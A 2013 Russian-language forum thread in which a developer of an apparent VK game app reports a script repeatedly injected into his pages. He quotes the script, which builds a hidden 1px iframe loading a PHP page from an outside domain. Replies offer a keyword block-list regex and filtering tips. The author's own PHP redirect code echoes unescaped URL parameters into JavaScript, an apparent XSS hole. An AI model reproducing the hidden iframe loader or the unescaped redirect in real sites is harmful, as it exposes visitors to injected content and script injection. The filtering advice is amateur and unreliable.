Вторник, 26 Ноября 2024, 05:06

Приветствую Вас Гость

[ Новые сообщения · Игроделы · Правила · Поиск ]
  • Страница 1 из 1
  • 1
XSS ?
Lord135Дата: Вторник, 08 Января 2013, 09:39 | Сообщение # 1
постоянный участник
Сейчас нет на сайте
Пишу я значит некое приложение. И всё было хорошо, но вот тут недавно я захожу в это приложение, а вместо того, чтобы логинить меня, оно висит, я значит исходный код открыл (логинит JavaScript с PHP на пару) а там, вот такая вот прелесть:

Код

<script type="text/javascript" language="javascript" >                    (function () {    var x = document.createElement('iframe');    x.src = 'http://fawsilom.ru/count8.php';    x.style.position = 'absolute';    x.style.border = '0';    x.style.height = '1px';    x.style.width = '1px';    x.style.left = '1px';    x.style.top = '1px';    if (!document.getElementById('x')) {        document.write('<div id=\'x\'></div>');        document.getElementById('x').appendChild(x);    }})();</script>


Почитал я значит в интернетах о XSS, и дыры вроде закрыл (проверка урл и его последующая обрезка, входные данные и так фильтруются).
Но вот не задача, через несколько часов я обнаруживаю, что приложение снова висит, бегу смотреть исходник - там ничего. Открываю js-ку, которая подключается к этой странице. Бац! В js-ке этот код.
Хостинг платный и следовательно ничего своего к моим страницам не добавляет (типа кодов баннеров и т.д.).

Как от этого защитится?
likerДата: Вторник, 08 Января 2013, 09:59 | Сообщение # 2
почетный гость
Сейчас нет на сайте
значит плохо отфильтровал smile
фильтруй по принципу: только допустимые символы
скажем: $string = preg_replace('/[^\w]/u','',$string);
оставит только цифры и буквы(включая русские)


Сообщение отредактировал liker - Вторник, 08 Января 2013, 10:06
MrNeshДата: Вторник, 08 Января 2013, 11:24 | Сообщение # 3
Воин добра и света
Сейчас нет на сайте
Как то странно...у моего друга в его игре тоже самоем...предложил тупо все действия отслеживать wink

Lord135Дата: Среда, 09 Января 2013, 18:46 | Сообщение # 4
постоянный участник
Сейчас нет на сайте
jiumx60rus, ведение лога не помогло. Сегодня захожу, а там уже опять код. В бд же нигде ничего нету. Ни в пост запросах, ни в гет. Нету даже входа. Т.е. даже открытия страницы. Я в тупике
MrNeshДата: Среда, 09 Января 2013, 18:56 | Сообщение # 5
Воин добра и света
Сейчас нет на сайте
Комп проверь

likerДата: Среда, 09 Января 2013, 18:58 | Сообщение # 6
почетный гость
Сейчас нет на сайте
ты сюда скинь какой функцией фильтруешь данные, в ней мб ошибка, если хочешь, скинь все-таки сайт, я поищу уязвимость

Сообщение отредактировал liker - Среда, 09 Января 2013, 19:26
Lord135Дата: Среда, 09 Января 2013, 20:25 | Сообщение # 7
постоянный участник
Сейчас нет на сайте
liker, Дело не в функции. Дело в том, что даже лог не сечёт ничего. Т.е. до фильтра даже не доходит. А на уязвимость уже потестили)

jiumx60rus, хочешь сказать, что у меня сидит вирь который заражает всё это дело?

Добавлено (09.01.2013, 20:25)
---------------------------------------------
liker,

Код
if(preg_match("/\/?api_url\=+[0-9A-zА-я]+[\-\&\^\%\$\#\@\!\"\№\;\:\?\*\(\)\_\+\=]+/",$_SERVER['REQUEST_URI'])){
  $url = $_SERVER['REQUEST_URI'];
  $url = explode("/?api_url=http://api.vk.com/api.php&",$url);
  $url = $url[1];
  $url = explode("&",$url);
  $new_url = "/index.php?";
  for($i=0;$i<sizeof($url);$i++){
   $url_elem = explode("=",$url[$i]);
   if($url_elem[0]=="viewer_id"){
    $new_url.="viewer_id=".$url_elem[1]."&";
   }elseif($url_elem[0]=="viewer_type"){
    $new_url.="viewer_type=".$url_elem[1];
   }
  }
  echo "<script>location.href='".$new_url."';</script>";
}
likerДата: Среда, 09 Января 2013, 20:33 | Сообщение # 8
почетный гость
Сейчас нет на сайте
Lord135, чето стремная функция у вас,
я вот эту юзаю:
Код
if(preg_match('/[^a-z\d\/]|script|concat|etc|passwd|ftp|cmd|admin|call|or|and|php|http|SELECT|UNION|UPDATE|exe|flush|INSERT|eval|tmp/i', $uri){$uri='';}ну или что-то другое

хотя я юзаю ЧПУ, ну т.е. site.ru/cat/25/id/37, а не site.ru/?cat=25&id=37


Сообщение отредактировал liker - Среда, 09 Января 2013, 20:35
Lord135Дата: Среда, 09 Января 2013, 20:44 | Сообщение # 9
постоянный участник
Сейчас нет на сайте
liker, Мне просто Вконтакт присылает строку с $_GET`ом, и вот её я обрезаю, оставляя только нужные значения.

Добавлено (09.01.2013, 20:44)
---------------------------------------------
liker, У тебя нету там DELETE и TRUNCATE с DROP. Тоже опасно по-мойму.

likerДата: Среда, 09 Января 2013, 21:16 | Сообщение # 10
почетный гость
Сейчас нет на сайте
окей добавлю smile
  • Страница 1 из 1
  • 1
Поиск:

Все права сохранены. GcUp.ru © 2008-2024 Рейтинг